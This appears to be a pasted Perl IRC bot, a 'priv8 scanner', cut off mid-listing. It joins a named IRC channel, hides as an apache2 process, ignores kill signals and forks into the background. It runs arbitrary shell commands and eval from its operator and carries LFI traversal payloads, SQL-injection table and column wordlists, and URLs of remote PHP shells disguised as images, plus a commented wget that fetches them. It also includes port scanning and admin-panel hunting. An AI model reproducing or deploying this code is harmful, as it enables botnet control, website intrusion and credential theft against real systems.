SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/perl | |
| 2 | ################################################ | |
| 3 | use HTTP::Request; # | |
| 4 | use HTTP::Request::Common; # | |
| 5 | use HTTP::Request::Common qw(POST); # | |
| 6 | use LWP::Simple; # | |
| 7 | use LWP 5.53; # | |
| 8 | use LWP::UserAgent; # | |
| 9 | use Socket; # | |
| 10 | use IO::Socket; # | |
| 11 | use IO::Socket::INET; # | |
| 12 | use IO::Select; # | |
| 13 | use MIME::Base64; # | |
| 14 | ################################################ | |
| 15 | ||
| 16 | my $datetime = localtime; | |
| 17 | ||
| 18 | my $fakeproc = "/usr/sbin/apache2 -k start"; | |
| 19 | my $ircserver = "irc.malangunderground.org"; | |
| 20 | my $ircport = "6667"; | |
| 21 | my $nickname = "king".int(rand(10)).""; | |
| 22 | my $ident = "king"; | |
| 23 | my $channel = "#mafia"; | |
| 24 | my $admin = "presiden"; | |
| 25 | my $fullname = "Mafia Scanner"; | |
| 26 | ||
| 27 | my $nob0dy = "15,1(4@9nob0dy15)"; | |
| 28 | my $lfilogo = "15,1(4@9LFI15)"; | |
| 29 | my $rfilogo = "15,1(4@9RFI15)"; | |
| 30 | my $e107logo = "15,1(4@9e10715)"; | |
| 31 | my $xmllogo = "15,1(4@9XML15)"; | |
| 32 | my $sqllogo = "15,1(4@9SQL15)"; | |
| 33 | my $oscologo = "15,1(4@9OSCO15)"; | |
| 34 | my $zenlogo = "15,1(4@9ZEN15)"; | |
| 35 | my $oplogo = "15,1(4@9OpenCart15)"; | |
| 36 | my $admlogo = "15,1(4@9PhpMyAdmin15)"; | |
| 37 | my $smslogo = "15,1(4@9SMS15)"; | |
| 38 | ||
| 39 | my $lficmd = '!lfi'; | |
| 40 | my $rficmd = '!rfi'; | |
| 41 | my $e107cmd = '!e107'; | |
| 42 | my $xmlcmd = '!xml'; | |
| 43 | my $sqlcmd = '!sql'; | |
| 44 | my $oscocmd = '!osco'; | |
| 45 | my $zencmd = '!zen'; | |
| 46 | my $admcmd = '!adm'; | |
| 47 | my $opcmd = '!op'; | |
| 48 | ||
| 49 | my $cmdlfi = '!cmdlfi'; | |
| 50 | my $cmde107 = '!cmde107'; | |
| 51 | my $cmdxml = '!cmdxml'; | |
| 52 | ||
| 53 | my $injector = "http://elproveedorpanama.com/catalog/images/ipays.jpg"; | |
| 54 | my $botshell = "http://elproveedorpanama.com/catalog/images/byroe.jpg"; | |
| 55 | my $botshell2 = "http://elproveedorpanama.com/catalog/images/allnet.jpg"; | |
| 56 | ||
| 57 | my @uagents = ("Microsoft Internet Explorer/4.0b1 (Windows 95)","Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)","Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)","Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)","Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)","Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)","Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)","Mozilla/4.0 (compatible; MSIE 7.0b; Win32)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Microsoft Pocket Internet Explorer/0.6","Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)","MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)","Advanced Browser (http://www.avantbrowser.com)","Avant Browser (http://www.avantbrowser.com)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)","Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)","Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)","Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox","Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b","Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0","Mozilla/3.0 (OS/2; U)","Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)","Mozilla/4.61 (Macintosh; I; PPC)","Mozilla/4.61 [en] (OS/2; U)","Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)","Mozilla/4.8 [en] (Windows NT 5.0; U)");
| |
| 58 | my $uagent = $uagents[rand(scalar(@uagents))]; | |
| 59 | my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"; | |
| 60 | my $open_test = "/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html"; | |
| 61 | my $adm_output = ("uid=");
| |
| 62 | my $open_output = ("FCKeditor - Connectors Tests");
| |
| 63 | ||
| 64 | my @tabele = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
| |
| 65 | 'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator', | |
| 66 | 'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names', | |
| 67 | 'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address', | |
| 68 | 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass', | |
| 69 | 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id', | |
| 70 | 'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member', | |
| 71 | 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts', | |
| 72 | 'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors', | |
| 73 | 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO'); | |
| 74 | my @kolumny = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
| |
| 75 | 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail', | |
| 76 | 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author', | |
| 77 | 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo', | |
| 78 | 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors', | |
| 79 | 'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username'); | |
| 80 | ||
| 81 | ||
| 82 | ||
| 83 | $SIG{'INT'} = 'IGNORE';
| |
| 84 | $SIG{'HUP'} = 'IGNORE';
| |
| 85 | $SIG{'TERM'} = 'IGNORE';
| |
| 86 | $SIG{'CHLD'} = 'IGNORE';
| |
| 87 | $SIG{'PS'} = 'IGNORE';
| |
| 88 | #chdir("/tmp");
| |
| 89 | #chop (my $priper = `wget http://elproveedorpanama.com/catalog/images/ipays.jpg -O ipays.jpg;http://elproveedorpanama.com/catalog/images/byroe.jpg -O byroe.jpg;http://elproveedorpanama.com/catalog/images/allnet.jpg -O allnet.jpg`); | |
| 90 | $ircserver = "$ARGV[0]" if $ARGV[0]; | |
| 91 | ||
| 92 | $0 = "$fakeproc"."\0" x 16;; | |
| 93 | my $pid = fork; | |
| 94 | exit if $pid; | |
| 95 | die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid); | |
| 96 | ||
| 97 | our %irc_servers; | |
| 98 | our %DCC; | |
| 99 | my $dcc_sel = new IO::Select->new(); | |
| 100 | $sel_client = IO::Select->new(); | |
| 101 | sub sendraw {
| |
| 102 | if ($#_ == '1') {
| |
| 103 | my $socket = $_[0]; | |
| 104 | print $socket "$_[1]\n"; | |
| 105 | } else {
| |
| 106 | print $IRC_cur_socket "$_[0]\n"; | |
| 107 | } | |
| 108 | } | |
| 109 | ||
| 110 | sub connector {
| |
| 111 | my $mynick = $_[0]; | |
| 112 | my $ircserver_con = $_[1]; | |
| 113 | my $ircport_con = $_[2]; | |
| 114 | my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); | |
| 115 | if (defined($IRC_socket)) {
| |
| 116 | $IRC_cur_socket = $IRC_socket; | |
| 117 | $IRC_socket->autoflush(1); | |
| 118 | $sel_client->add($IRC_socket); | |
| 119 | $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
| |
| 120 | $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
| |
| 121 | $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
| |
| 122 | $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
| |
| 123 | nick("$mynick");
| |
| 124 | my $versi = " 9,1[ ! ] 1,15 C opy P aste 9,1 [ ! ]"; | |
| 125 | sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
| |
| 126 | sleep (1);}} | |
| 127 | sub parse {
| |
| 128 | my $servarg = shift; | |
| 129 | if ($servarg =~ /^PING \:(.*)/) {
| |
| 130 | sendraw("PONG :$1");
| |
| 131 | } | |
| 132 | elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
| |
| 133 | if (lc($1) eq lc($mynick)) {
| |
| 134 | $mynick = $4; | |
| 135 | $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
| |
| 136 | } | |
| 137 | } | |
| 138 | elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
| |
| 139 | nick("$mynick".int rand(1));
| |
| 140 | } | |
| 141 | elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
| |
| 142 | $mynick = $2; | |
| 143 | $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
| |
| 144 | $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
| |
| 145 | sendraw("MODE $mynick +Bx");
| |
| 146 | sendraw("JOIN $channel");
| |
| 147 | sleep(2); | |
| 148 | sendraw("PRIVMSG $admin :Hi $admin im here !!!");
| |
| 149 | } | |
| 150 | } | |
| 151 | my $line_temp; | |
| 152 | while( 1 ) {
| |
| 153 | while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
| |
| 154 | select(undef, undef, undef, 0.01);; | |
| 155 | delete($irc_servers{''}) if (defined($irc_servers{''}));
| |
| 156 | my @ready = $sel_client->can_read(0); | |
| 157 | next unless(@ready); | |
| 158 | foreach $fh (@ready) {
| |
| 159 | $IRC_cur_socket = $fh; | |
| 160 | $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
| |
| 161 | $nread = sysread($fh, $ircmsg, 4096); | |
| 162 | if ($nread == 0) {
| |
| 163 | $sel_client->remove($fh); | |
| 164 | $fh->close; | |
| 165 | delete($irc_servers{$fh});
| |
| 166 | } | |
| 167 | @lines = split (/\n/, $ircmsg); | |
| 168 | $ircmsg =~ s/\r\n$//; | |
| 169 | ||
| 170 | if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
| |
| 171 | my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5); | |
| 172 | my $engine ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR"; | |
| 173 | if ($path eq $mynick) {
| |
| 174 | if ($msg =~ /^PING (.*)/) {
| |
| 175 | sendraw("NOTICE $nick :PING $1");
| |
| 176 | } | |
| 177 | if ($msg =~ /^VERSION/) {
| |
| 178 | sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
| |
| 179 | } | |
| 180 | if ($msg =~ /^TIME/) {
| |
| 181 | sendraw("NOTICE $nick :TIME ".$datetime."");
| |
| 182 | } | |
| 183 | if (&isAdmin($nick) && $msg eq "!die") {
| |
| 184 | &shell("$path","kill -9 $$");
| |
| 185 | } | |
| 186 | if (&isAdmin($nick) && $msg eq "!killall") {
| |
| 187 | &shell("$path","killall -9 perl");
| |
| 188 | } | |
| 189 | if (&isAdmin($nick) && $msg eq "!reset") {
| |
| 190 | sendraw("QUIT :Restarting...");
| |
| 191 | } | |
| 192 | if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
| |
| 193 | sendraw("JOIN #".$1);
| |
| 194 | } | |
| 195 | if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
| |
| 196 | sendraw("PART #".$1);
| |
| 197 | } | |
| 198 | if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
| |
| 199 | sendraw("NICK ".$1);
| |
| 200 | } | |
| 201 | if (&isAdmin($nick) && $msg =~ /^!pid/) {
| |
| 202 | sendraw($IRC_cur_socket, "PRIVMSG $nick :9,1Fake Process/PID : $fakeproc - $$"); | |
| 203 | } | |
| 204 | if (&isAdmin($nick) && $msg !~ /^!/) {
| |
| 205 | &shell("$nick","$msg");
| |
| 206 | } | |
| 207 | if (&isAdmin($nick) && $msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
| |
| 208 | my $url = $1.$lfdtest; | |
| 209 | my $cmd = $2; | |
| 210 | &cmdlfi($url,$cmd,$nick); | |
| 211 | } | |
| 212 | if (&isAdmin($nick) && $msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
| |
| 213 | my $url = $1; | |
| 214 | my $cmd = $2; | |
| 215 | &cmdxml($url,$cmd,$nick); | |
| 216 | } | |
| 217 | if (&isAdmin($nick) && $msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
| |
| 218 | my $url = $1; | |
| 219 | my $cmd = $2; | |
| 220 | &cmde107($url,$cmd,$nick); | |
| 221 | } | |
| 222 | } | |
| 223 | else {
| |
| 224 | if (&isAdmin($nick) && $msg eq "!die") {
| |
| 225 | &shell("$path","kill -9 $$");
| |
| 226 | } | |
| 227 | if (&isAdmin($nick) && $msg eq "!killall") {
| |
| 228 | &shell("$path","killall -9 perl");
| |
| 229 | } | |
| 230 | if (&isAdmin($nick) && $msg eq "!reset") {
| |
| 231 | sendraw("QUIT :Restarting...");
| |
| 232 | } | |
| 233 | if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
| |
| 234 | sendraw("JOIN #".$1);
| |
| 235 | } | |
| 236 | if (&isAdmin($nick) && $msg eq "!part") {
| |
| 237 | sendraw("PART $path");
| |
| 238 | } | |
| 239 | if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
| |
| 240 | sendraw("PART #".$1);
| |
| 241 | } | |
| 242 | if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
| |
| 243 | &shell("$path","$1");
| |
| 244 | } | |
| 245 | if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
| |
| 246 | &shell("$path","$1");
| |
| 247 | } | |
| 248 | if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
| |
| 249 | eval "$1"; | |
| 250 | } | |
| 251 | ##################################################################### HIT | |
| 252 | ||
| 253 | if ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){
| |
| 254 | my $url = $1.$lfdtest; | |
| 255 | my $cmd = $2; | |
| 256 | &cmdlfi($url,$cmd,$path); | |
| 257 | } | |
| 258 | if ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){
| |
| 259 | my $url = $1; | |
| 260 | my $cmd = $2; | |
| 261 | &cmdxml($url,$cmd,$path); | |
| 262 | } | |
| 263 | if ($msg=~ /^$cmde107\s+(.+?)\s+(.*)/){
| |
| 264 | my $url = $1; | |
| 265 | my $cmd = $2; | |
| 266 | &cmde107($url,$cmd,$path); | |
| 267 | } | |
| 268 | ||
| 269 | ##################################################################### SMS | |
| 270 | if ($msg=~ /^!sms\s+(.*?)\s+(.*)/){
| |
| 271 | my $no = $1; | |
| 272 | my $pesan = $2; | |
| 273 | if(sendSMS($no,$pesan)){
| |
| 274 | &msg("$path","$smslogo 9,1Sukses mengirim ke 4 ".$no."9 Pengirim : 4 ".$nick);
| |
| 275 | } | |
| 276 | else {
| |
| 277 | &msg("$path","$smslogo 4,1 GAGAL!!");
| |
| 278 | } | |
| 279 | } | |
| 280 | ||
| 281 | ##################################################################### HELP COMMAND | |
| 282 | ||
| 283 | if ($msg=~ /^!help/) {
| |
| 284 | my $helplogo = "15,1(4@9Help15)"; | |
| 285 | &msg("$path","$helplogo 14 #####################9[HELP]14##############################");
| |
| 286 | &msg("$path","$helplogo 7 ( $rficmd|$lficmd|$sqlcmd|$xmlcmd [bug][dork]|!portscan[ip][port]) )");
| |
| 287 | &msg("$path","$helplogo 7 ( $cmde107|$cmdlfi|$cmdxml) [target][cmd]|!sms[no][pesan] )");
| |
| 288 | &msg("$path","$helplogo 7 ( $e107cmd | $zencmd | $oscocmd | $admcmd | $opcmd [dork] ) ");sleep(2);
| |
| 289 | &msg("$path","$helplogo 7 ( !login [web]|!port [ip][port]|!base64 [data]|!ip [ip]|!dns [host] )");
| |
| 290 | &msg("$path","$helplogo 7 ( !about|!engine|!version|!proxy [3digit]|!paypal [email] )");
| |
| 291 | &msg("$path","$helplogo 14 ######################9[END HELP]14#########################");
| |
| 292 | } | |
| 293 | if ($msg=~ /^!engine/) {
| |
| 294 | my $enginelogo = "15,1(4@9EnginE15)"; | |
| 295 | &msg("$path","$enginelogo 4 GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio");
| |
| 296 | &msg("$path","$enginelogo 4 WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo");
| |
| 297 | &msg("$path","$enginelogo 4 BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR");
| |
| 298 | } | |
| 299 | if ($msg=~ /^!about/) {
| |
| 300 | my $aboutlogo = "15,1(4@9About Bot15)"; | |
| 301 | &msg("$path","$aboutlogo 9Nob0dy Priv8 Scanner SE v1.2");
| |
| 302 | &msg("$path","$aboutlogo 13CoDeD by Vrs-hCk @ByroeNet");
| |
| 303 | &msg("$path","$aboutlogo 7Modified by MbaHMeTz @ByroeNet");
| |
| 304 | } | |
| 305 | if ($msg=~ /^!version/) {
| |
| 306 | my $versionlogo = "15,1(4@9Version15)"; | |
| 307 | &msg("$path","$versionlogo 13 priv8 SE v1.2");
| |
| 308 | } | |
| 309 | if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
| |
| 310 | if (&isFound($injector,"aXBheXMg=")) {
| |
| 311 | &msg("$path","15,1(4@9Injector15)13 PHP Shell 9READY!!!");
| |
| 312 | } else {
| |
| 313 | &msg("$path","15,1(4@9Injector15)13 PHP Shell 4LOST!!!");
| |
| 314 | } | |
| 315 | } | |
| 316 | if (&isAdmin($nick) && $msg =~ /^!pid/) {
| |
| 317 | ¬ice("$nick","9,1Fake Process/PID : 8$fakeproc - $$");
| |
| 318 | } | |
| 319 | ##################################################################### TOOLS | |
| 320 | if ($msg=~ /^!proxy\s+(.+)/){
| |
| 321 | if (my $pid = fork) { waitpid($pid, 0); } else {
| |
| 322 | if (fork) { exit; } else {
| |
| 323 | my $minta = $1; | |
| 324 | &msg("$path","15,1(4@9PROXY15)13 Checking Proxy..");
| |
| 325 | &proxy($path,$minta); | |
| 326 | } | |
| 327 | exit; | |
| 328 | } | |
| 329 | } | |
| 330 | ||
| 331 | if ($msg=~ /^!dns\s+(.*)/){
| |
| 332 | my $nsku = $1; | |
| 333 | $mydns = inet_ntoa(inet_aton($nsku)); | |
| 334 | &msg("$path", "15,1(4@9DNS15) 13$nsku 9Resolve Ke 4 $mydns");
| |
| 335 | } | |
| 336 | ||
| 337 | if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
| |
| 338 | my $hostip= "$1"; | |
| 339 | my $portsc= "$2"; | |
| 340 | my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7); | |
| 341 | if ($scansock) {
| |
| 342 | &msg("$path","15,1(4@9PORT15)13 $hostip : $portsc 9Accepted");
| |
| 343 | } | |
| 344 | else {
| |
| 345 | &msg("$path","15,1(4@9PORT15)13 $hostip : $portsc 4Connection Refused");
| |
| 346 | } | |
| 347 | } | |
| 348 | ||
| 349 | if ($msg=~ /^!ip\s+(.*)/ ) {
| |
| 350 | if (my $pid = fork) { waitpid($pid, 0); } else {
| |
| 351 | if (fork) { exit; } else {
| |
| 352 | my $ip = $1; | |
| 353 | &msg("$path","15,1(4@9IP15)13 Searching ".$ip." 9Location ...");
| |
| 354 | my $website = "http://www.ipligence.com/geolocation"; | |
| 355 | my ($useragent,$request,$response,%form); | |
| 356 | undef %form; | |
| 357 | $form{ip} = $ip;
| |
| 358 | $useragent = LWP::UserAgent->new; | |
| 359 | $useragent->timeout(5); | |
| 360 | $request = POST $website,\%form; | |
| 361 | $response = $useragent->request($request); | |
| 362 | if ($response->is_success) {
| |
| 363 | my $res = $response->content; | |
| 364 | if ($res =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g) {
| |
| 365 | my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4); | |
| 366 | &msg("$path","15,1(4@9IP15)13 IP Address : ".$ip." 9 ( ".$ipaddress." )");
| |
| 367 | &msg("$path","15,1(4@9IP15)13 City : ".$ip." 9 ( ".$city." )");
| |
| 368 | &msg("$path","15,1(4@9IP15)13 Country : ".$ip." 9 ( ".$country." )");
| |
| 369 | &msg("$path","15,1(4@9IP15)13 Continent : ".$ip." 9 ( ".$continent." )");
| |
| 370 | } | |
| 371 | else {
| |
| 372 | &msg("$path","15,1(4@9IP15)13 ".$ip." 4not found in database");
| |
| 373 | } | |
| 374 | } | |
| 375 | else {
| |
| 376 | &msg("$path","15,1(4@9IP15)4 Cannot open IP database.");
| |
| 377 | } | |
| 378 | } | |
| 379 | exit; | |
| 380 | } | |
| 381 | } | |
| 382 | ||
| 383 | if ($msg=~ /^!base64 (.*)$/ ) {
| |
| 384 | if (my $pid = fork) { waitpid($pid, 0); } else {
| |
| 385 | if (fork) { exit; } else {
| |
| 386 | my $hash = $1; | |
| 387 | my $base64_encoded = encode_base64($hash); | |
| 388 | my $base64_decoded = decode_base64($hash); | |
| 389 | &msg("$path","15,1(4@9BASE6415)13 Decode : 9$base64_decoded");
| |
| 390 | &msg("$path","15,1(4@9BASE6415)13 Encode : 9$base64_encoded");
| |
| 391 | } | |
| 392 | exit; | |
| 393 | } | |
| 394 | } | |
| 395 | ||
| 396 | if ($msg =~ /^!portscan (.*)$/ ) {
| |
| 397 | my $hostip="$1"; | |
| 398 | my @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
| |
| 399 | my (@aberta, %porta_banner); | |
| 400 | &msg("$path","15,1(4@9PORTSCAN15) 13Loading port scanner.");
| |
| 401 | foreach my $porta (@portas) {
| |
| 402 | my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); | |
| 403 | if ($scansock) {
| |
| 404 | push (@aberta, $porta); | |
| 405 | $scansock->close; | |
| 406 | } | |
| 407 | } | |
| 408 | ||
| 409 | if (@aberta) {
| |
| 410 | &msg("$path", "15,1(4@9portscan15)13 open ports are...:5 @aberta");
| |
| 411 | } else {
| |
| 412 | &msg("$path","15,1(4@9portscan15)4 all ports are closed");
| |
| 413 | } | |
| 414 | } | |
| 415 | ||
| 416 | if ($msg=~ /^!login (.*)$/ ) {
| |
| 417 | if (my $pid = fork) { waitpid($pid, 0); } else {
| |
| 418 | if (fork) { exit; } else {
| |
| 419 | my $test = $1 ; | |
| 420 | @index = ('/admin/','/ADMIN/','/login/','/adm/','/cms/','/administrator/','/admin/login.php','/ADMIN/login.php','/admin/home.php','/admin/controlpanel.html','/admin/controlpanel.php','/admin.php','/admin.html','/admin/cp.php','/admin/cp.html','/cp.php','/cp.html','/controlpanel/','/panelc/','/administrator/index.php','/administrator/login.html','/administrator/login.php','/administrator/account.html','/administrator/account.php','/administrator.php','/administrator.html','/login.php','/login.html','/controlpanel/','/administration/','/administration.php','/administration.html','/phpmyadmin/','/myadmin/','/wp-admin/','/webadmin/','/webadmin.php','/webadmin.html','/admins/','/admins.php','/admins.html','/WebAdmin/','/admin1/','/panel/','/cpanel/','/cPanel/','/members/','/wp-login/','/admin/','/ADMIN/','/login/','/adm/','/cms/','/administrator/','/admin/login.php','/ADMIN/login.php','/admin/home.php','/admin/controlpanel.html','/admin/controlpanel.php','/admin.php','/admin.html','/admin/cp.php','/admin/cp.html','/cp.php','/cp.html','/controlpanel/','/panelc/','/administrator/index.php','/administrator/login.html','/administrator/login.php','/administrator/account.html','/administrator/account.php','/administrator.php','/administrator.html','/login.php','/login.html','/controlpanel/','/administration/','/administration.php','/administration.html','/phpmyadmin/','/myadmin/','/wp-admin/','/webadmin/','/webadmin.php','/webadmin.html','/admins/','/admins.php','/admins.html','/WebAdmin/','/admin1/','/panel/','/cpanel/','/cPanel/','/members/','/wp-login/','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/accou